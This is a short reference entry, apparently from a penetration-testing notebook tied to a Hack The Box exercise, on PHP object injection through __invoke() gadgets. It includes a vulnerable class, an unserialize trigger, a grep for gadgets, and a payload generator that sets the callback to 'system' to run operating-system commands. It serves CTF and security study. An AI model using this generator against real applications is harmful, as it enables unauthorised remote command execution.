__invoke gadget
PHP serialized-object __invoke gadget
__invoke() is a PHP magic method. PHP calls it automatically when an object is followed by parentheses and called as if it were a function.
Arguments written inside the parentheses are passed to the parameters declared by __invoke(). The result returned by __invoke() becomes the result of the object call.
__invoke() runs after application code or another gadget calls the reconstructed object.
Vulnerable gadget
class TargetClass
{
public $callback;
public $argument;
public function __invoke()
{
$result = call_user_func($this->callback, $this->argument);
return $result;
}
}call_user_func() accepts a callable as its first argument, passes the remaining arguments to it, and returns the callable’s result. A serialized TargetClass object can replace callback and argument. Setting them to system and an operating-system command turns the object call into command execution.
Trigger
$serialized_data = base64_decode($_POST["<PARAMETER_NAME>"]);
$object = unserialize($serialized_data);
$result = $object();
print($result);The parentheses after $object cause PHP to call $object->__invoke().
Another gadget can perform the same trigger:
public function __get($property_name)
{
($this->controlled_object)();
}The controlled object must contain an instance of the class defining __invoke().
Finding a gadget
Search the application source for __invoke() methods:
grep -Rni "function __invoke" .For each result, identify the properties read by the method and the operation performed with them. A usable gadget requires a reachable object call and control over the properties passed to a useful sink.
PHP payload generator
The generator needs the target class name and the properties stored in the serialized object. The target application supplies the real __invoke() method when it reconstructs the object.
<?php
class TargetClass
{
public $callback;
public $argument;
}
$payload_object = new TargetClass();
$payload_object->callback = "system";
$payload_object->argument = "<COMMAND>";
$serialized_payload = serialize($payload_object);
$encoded_payload = base64_encode($serialized_payload);
print($encoded_payload);
?>
The class name, property names, and property visibility must match the target source exactly.
Find by: php deserialization, php object injection, magic method, __invoke, callable object, object call, call_user_func, callback gadget, serialized payload generator · Source: HTB/POPRestaurant